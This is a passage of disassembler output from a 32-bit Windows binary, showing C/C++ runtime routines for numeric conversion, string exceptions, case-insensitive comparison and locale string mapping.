loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D838
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D998
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: .packed:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: .packed:00427C94o
					; .packed:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: .packed:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: .packed:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: .packed:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: .packed:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: .packed:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: .packed:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4262F6	proc near		; DATA XREF: .packed:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: .packed:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: .packed:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; sub_40F3AA+14Ap ...
		jmp	dword_427210
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		jmp	dword_4271A4
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: .packed:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE94, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: .packed:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: .packed:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: .packed:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: .packed:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: .packed:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; .packed:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: .packed:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_427050	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE94, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE94
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC020, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_427044	; LCMapStringW
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC020, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB89C
		push	edi
		push	esi
		call	dword_427048	; LCMapStringA
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC020, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC020
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427044	; LCMapStringW
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_427188	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_427188	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427048	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427048	; LCMapStringA
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


